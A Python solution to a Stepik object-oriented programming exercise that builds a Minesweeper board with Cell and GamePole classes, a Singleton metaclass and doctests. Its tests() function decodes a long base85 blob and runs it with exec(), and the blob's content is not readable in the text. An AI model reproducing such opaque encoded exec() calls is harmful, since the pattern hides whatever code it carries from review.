py_stepik/mod_oop/3.7_10_minesweeper.py

""" 
    https://stepik.org/lesson/701992/step/10?unit=702093

Вы начинаете разрабатывать игру "Сапер". Для этого вам нужно уметь представлять и управлять игровым полем. Будем полагать, что оно имеет размеры N x M клеток. Каждая клетка будет представлена объектом класса Cell и содержать либо число мин вокруг этой клетки, либо саму мину.

Для начала в программе объявите класс GamePole, который будет создавать и управлять игровым полем. Объект этого класса должен формироваться командой:
pole = GamePole(N, M, total_mines)

>>> SingletonMeta._instances = {}
>>> N, M, total_mines = 10, 10, 10
>>> pole = GamePole(N, M, total_mines)

И, так как поле в игре одно, то нужно контролировать создание только одного объекта класса GamePole (используйте паттерн Singleton, о котором мы с вами говорили, когда рассматривали магический метод __new__()).

Объект pole должен иметь локальный приватный атрибут:
__pole_cells - двумерный (вложенный) кортеж, размерами N x M элементов (N строк и M столбцов), состоящий из объектов класса Cell.
>>> hasattr(pole, "_GamePole__pole_cells")
True

Для доступа к этой коллекции объявите в классе GamePole объект-свойство (property):
pole - только для чтения (получения) ссылки на коллекцию __pole_cells.
>>> type(GamePole.pole).__name__
'property'

Далее, в самом классе GamePole объявите следующие методы:
init_pole() - для инициализации начального состояния игрового поля (расставляет мины и делает все клетки закрытыми);
open_cell(i, j) - открывает ячейку с индексами (i, j); нумерация индексов начинается с нуля; метод меняет значение атрибута __is_open объекта Cell в ячейке (i, j) на True;
show_pole() - отображает игровое поле в консоли (как именно сделать - на ваше усмотрение, этот метод - домашнее задание).
>>> hasattr(GamePole, "init_pole"), hasattr(GamePole, "open_cell"), hasattr(GamePole, "show_pole")
(True, True, True)

Расстановку мин выполняйте случайным образом по игровому полю (для этого удобно воспользоваться функцией randint модуля random). После расстановки всех total_mines мин, вычислите их количество вокруг остальных клеток (где нет мин). Область охвата - соседние (прилегающие) клетки (8 штук).
В методе open_cell() необходимо проверять корректность индексов (i, j). Если индексы указаны некорректно, то генерируется исключение командой:

raise IndexError('некорректные индексы i, j клетки игрового поля')
Следующий класс Cell описывает состояние одной ячейки игрового поля. Объекты этого класса создаются командой:
>>> cell = Cell()

При этом в самом объекте создаются следующие локальные приватные свойства:
__is_mine - булево значение True/False; True - в клетке находится мина, False - мина отсутствует;
__number - число мин вокруг клетки (целое число от 0 до 8);
__is_open - флаг того, открыта клетка или закрыта: True - открыта; False - закрыта.

Для работы с этими приватными атрибутами объявите в классе Cell следующие объекты-свойства с именами:
is_mine - для записи и чтения информации из атрибута __is_mine;
number - для записи и чтения информации из атрибута __number;
is_open - для записи и чтения информации из атрибута __is_open.
>>> hasattr(cell, "is_mine"), hasattr(cell, "number"), hasattr(cell, "is_open")
(True, True, True)

В этих свойствах необходимо выполнять проверку на корректность переданных значений (либо булево значение True/False, либо целое число от 0 до 8). Если передаваемое значение некорректно, то генерировать исключение командой:
raise ValueError("недопустимое значение атрибута")
С объектами класса Cell должна работать функция:

>>> bool(cell)
True

которая возвращает True, если клетка закрыта и False - если открыта.

Пример использования классов (эти строчки в программе писать не нужно):

>>> SingletonMeta._instances = {}
>>> random.seed(5)
>>> pole = GamePole(10, 20, 10)  # создается поле размерами 10x20 с общим числом мин 10
>>> pole.init_pole()
>>> if pole.pole[0][1]:
...     pole.open_cell(0, 1)
>>> if pole.pole[3][5]:
...     pole.open_cell(3, 5)
>>> pole.open_cell(30, 100)  # генерируется исключение IndexError
Traceback (most recent call last):
...
IndexError: Недопустимый индекс
>>> pole.show_pole()
╭───┬───┬───┬───┬───┬───┬───┬───┬───┬───┬───┬───┬───┬───┬───┬───┬───┬───┬───┬───╮
│ ▧ │ ✸ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │
├───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┤
│ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │
├───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┤
│ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │
├───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┤
│ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ① │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │
├───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┤
│ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │
├───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┤
│ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │
├───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┤
│ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │
├───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┤
│ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │
├───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┤
│ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │
├───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┼───┤
│ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │ ▧ │
╰───┴───┴───┴───┴───┴───┴───┴───┴───┴───┴───┴───┴───┴───┴───┴───┴───┴───┴───┴───╯

P.S. В программе на экран выводить ничего не нужно, только объявить классы.
"""

import random
from typing import Dict, Final, List, Tuple


class SingletonMeta(type):
    _instances: Dict[type, type] = {}

    def __call__(cls, *args, **kwargs):
        if cls not in cls._instances:
            cls._instances[cls] = super(SingletonMeta, cls).__call__(*args, **kwargs)
        return cls._instances[cls]


def make_properties(*names):
    def decorator(cls):
        def prop(private_name: str):
            def getter(self):
                return getattr(self, private_name)

            def setter(self, value):
                return setattr(self, private_name, value)

            return getter, setter

        for name in names:
            setattr(cls, name, property(*prop(f"_{cls.__name__}__{name}")))
        return cls

    return decorator


@make_properties("number", "is_mine", "is_open")
class Cell:
    CHARS: Final[str] = "▧✸▢①②③④⑤⑥⑦⑧"

    def __init__(self, number: int = 0, is_mine: bool = False, is_open: bool = False):
        self.__number, self.__is_mine, self.__is_open = number, is_mine, is_open

    def __bool__(self):
        return not self.is_open

    def __repr__(self):
        return f"{self.__class__.__name__}{(self.number, self.is_mine, self.is_open)!r}"

    def __str__(self):
        return self.CHARS[not self and (self.is_mine or self.number + 2)]

    def __setattr__(self, name: str, value) -> None:
        if name == "number":
            if not isinstance(value, int) or not 0 <= value <= 8:
                raise ValueError("Недопустимое значение атрибута")
        if name in ("is_mine", "is_open"):
            if not isinstance(value, bool):
                raise ValueError("Недопустимое значение атрибута")
        return super().__setattr__(name, value)


class GamePole(metaclass=SingletonMeta):
    around_offsets: Final[Tuple[Tuple[int, int], ...]] = tuple(
        (dx, dy) for dx in range(-1, 2) for dy in range(-1, 2) if (dx, dy) != (0, 0)
    )

    def __init__(self, N: int, M: int, total_mines: int, pole=None):
        self.N, self.M, self.total_mines = N, M, total_mines
        if pole:
            self.__pole_cells = pole
        else:
            self.init_pole()

    @property
    def pole(self) -> List[List[Cell]]:
        return self.__pole_cells

    def __repr__(self):
        return f"{self.__class__.__name__}{(self.N, self.M, self.total_mines, self.pole)!r}"

    def init_pole(self):
        gen = iter(range(1, self.total_mines + 1))
        flat_pole = [
            Cell(0, bool(next(gen, 0))) for _ in range(self.N) for _ in range(self.M)
        ]
        random.shuffle(flat_pole)
        self.__pole_cells = [
            flat_pole[i : i + self.M] for i in range(0, self.N * self.M, self.M)
        ]
        self.fill_around()

    def fill_around(self):
        for i in range(self.N):
            for j in range(self.M):
                self.pole[i][j].number = self.count_around(i, j)

    def count_around(self, x: int, y: int) -> int:
        return sum(
            (
                self.pole[x + i][y + j].is_mine
                for i, j in GamePole.around_offsets
                if 0 <= x + i < self.N and 0 <= y + j < self.M
            )
        )

    def cell(self, i: int, j: int) -> Cell:
        try:
            return self.pole[i][j]
        except IndexError as e:
            raise IndexError("Недопустимый индекс") from e

    def open_cell(self, i: int, j: int):
        cell = self.cell(i, j)
        cell.is_open = True

    def open(self):
        for i in range(self.N):
            for j in range(self.M):
                self.open_cell(i, j)

    def open_random(self, count: int):
        for _ in range(count):
            i, j = random.randint(0, self.N - 1), random.randint(0, self.M - 1)
            self.open_cell(i, j)

    def __str__(self):
        c = self.M - 1
        result = (
            f"╭─{'──┬─' * c}──╮\n"
            + f"├─{'──┼─' * c}──┤\n".join(
                map(lambda row: f"│ {' │ '.join(map(str, row))} │\n", self.pole)
            )
            + f"╰─{'──┴─' * c}──╯"
        )
        return result

    def show_pole(self):
        print(self)


pole_game = GamePole(10, 8, 12)
pole_game.open_random(30)
pole_game.show_pole()
pole_game.open()
pole_game.show_pole()


def tests():
    SingletonMeta._instances = {}
    random.seed()
    code = (
        b"a4{e~AV*<sWl(QyWhgN)EFdy4EFdv3DGG2hAUz;QVQpnlZ){~KF)%D3GB7M4F)%3#VRLh3a&#b"
        + b"RWGHYkDIh&PAZcVMa55<@AR^I$(7w>O(6rF7(6!Nm(SgyAAke+gwb6mly3oGRyU~o$y3oEL(7w>I"
        + b"(TdQu(7Mrr(7w>JAkezdyU?)Ffzg4`upmcaZDmkzY-J(}a3DP(a4`xBV`Xe?AUz;MWo&FHDGFh8b"
        + b"7gXLAar?fWhg^sY-}!Rb6;&~Ze=MTJv|_Ba&K^Da&&nhVQyp~ba`-PC_`mzY%XqfZDM6|DIh&PAa"
        + b"HVTaAk6Ic_3kKWFT~TaAhb%Wo&FNX>(t1aAj^OAU!=GaB^>OWpZ?REFdD#vLMj9(7VvE(Sgx{(6t"
        + b"~#Wo&F9(6rFL(7VvK(7n-%AkeYVi_wD7j3Cgy(6P~q(6!LI(Sp&7EzyC{ve3TJxzT~qg3z+iupnu"
        + b"3Uu|h_Wh@|Wb!}p0ax5Teb6;<8Wo{x03S(t#Y%XbYUu|h_WgtBuRC0A?3S(t#Y%XqfZDM6|AUz;8"
        + b"3S(t#Y%XbYUvF?_ZXi7%RC0A?3So0|WpZ>NVsCG3C}U-8Y$+f;Js?J5Y;$ESAR^I((Sy*v(7Mrv("
        + b"74f$AYyNCY$z!p(6Z3A(SXps(Sy*t(6AuTz0kGLve32BfY80rzR<NG(6`XN(6G^m(6!LL(74dGA_"
        + b"@w0a(OxmARr(hV`Xe?E@^XLZE0?0AUz;4FbZXOV`Xr3AXZ^)b!A0za&K}v3LqdLAYpTJWpZ>NRC0"
        + b"A?3T13_WjYEVARr)Nb8}^KbRb4yY;$ESAR^Gc(6u1ZfzY$iwa~rLwb6jkxY2;nzR<GJu+Y2EzR`i"
        + b"vj3Cgs(Sgvq(7Vx&(TC8r(7n*O(6t~|VQh6}MRIa)av}-}ARr(h3UqRLItm~lARuF9Y-}!Wb!}p0"
        + b"av(h*F)#{ccw=R7bRbq?Y;|Qta&m8SItm~lARu9Lb7gXLAXIX7WeR0%b7eXTARr(hVRLh3a&#a@V"
        + b"Qh0{EFdD#z0kEF(Sgvj(6!LL(6!Nk(74fn(7w>J(6G?E(7w@u(TpI_xY2>oy3o7Pj?stEwa~rLxX"
        + b"`sAR$**)WkqswZ*n3E3UDrIZfSI1aBpm7C@BhUAUz;33TAI|AaZYaAZczOa4v9fY-KtMARr(hW^Z"
        + b"yJcpzzRAaZYaItm~lARr(hARu9Lb7gXLAZc@HZgX^DZewLAcq|}8Wo&FIEFdD#y3o7Owb6pmy3nx"
        + b"DywJEH(74dE(SXpt(6Z3J(6i9KAke?izR<hTk08*r(7w>S(6-RM(TgC^vC)gsg3*j1(7w>I(TdQu"
        + b"(7Mrr(TgC^y3o7Ou+f3hfzYrZLuG7iA_^cNARr(hARuXGAb2imb6;&~Ze=<OARr(hARr(hARr(hZ"
        + b"6GT>ATbIGVRLh3a&#bVAU!=GF)%D3BGA3iuprRC(7w>S(6u1ZfY7kffzg4{g3z$gve3KGwa~rLz9"
        + b"7)O(6!LA(6!Nk(7n*U(6u1Yy3oGRyU@7NhtRdrfzg7{ve3RD(7e#N(7hrGa4v6fWo}<%Wo&FHFf1"
        + b"T3DGG2dZ*XO9Ut?u#Y$!P_ATc>93JP>`c{&OpARr)cE^lyUZeL?%Y-}hoFf1T4FewUUcw=R7bRbD"
        + b"?WMz0oa&m8SItm~lARu9Lb7gXLAXIX7WeR0%b7eXTARr(hVRLh3a&#a@VQh0{EFdD#z0kEF(Sgvj"
        + b"(6!LL(6!Nk(74fn(7w>J(6G?E(7w@u(TpI_xY2>oy3o7Pj?stEwa~rLxX`sANp56ictvt@Z*n3E3"
        + b"JPRpW*}p4b#8QDZE0?0b0~0cY-KDUX)GXWDLM)uARr)aAUz;33LqdLAZBlJAZs9LZXj}DZf9jEEi"
        + b"o)0GATL=ARr(hARr(hW^ZyJY#?cFAaY@DXJsfYF)Sc5DLM)uARr(hARr(hARr)VX)GXWY9KuzYb$"
        + b"9iAZ#mY3LqdLARr(hARr(hAZcbGX=xxlATS_rav*7GAU+^DAa8OYYHA=nATS_rav*AIAU+^5IXVg"
        + b";ARr(hARr(hARr(hARr)PZ*FvHZgph}ARr(hARr(hARr(hX=WgBZ){~-X=z<sYHD3BX>(s~X>MgY"
        + b"3LqdLARr(hARr(hARr(hAZ{QlJs>d(ARr(hARr(hARr(hARr(h3LqdLAaZ4Nb#iVXZVCztW^ZyJX"
        + b")GXeZ+9SRZXjiDb!}yGVRU6Ea4v9fY-K4r3LqdLAZBlJAZjcicpzzRAZ2cKZDn#{bY&=VZ+9s=3L"
        + b"qdLARr(hAZcbGZf|rTa4v9fY-L+%U0Z5hE@^XLZE0?0Itm~lARr(hARr(hARuiZJs@Lmb#8QDZE0"
        + b"?0b0}~waBpm7EFfttAZjTJARr(hARr(hARr(hVRLh3a&#bVAU!=Ga4v9fY-L+%U0Z5hE^c*gVr6n"
        + b"HAR^Gc(6!LA(6!Nk(7n*UAke?izR<MMfzgN1xY2^pu+Y8Gz97+u(74fo(7VvSAke(fxX`^I(6Z3J"
        + b"(7Mrp(Sy*lAkezdyU?}Kg3!9qxFP"
    )
    exec(__import__("base64").b85decode(code))


if __name__ == "__main__":
    import doctest
    doctest.testmod()
    tests()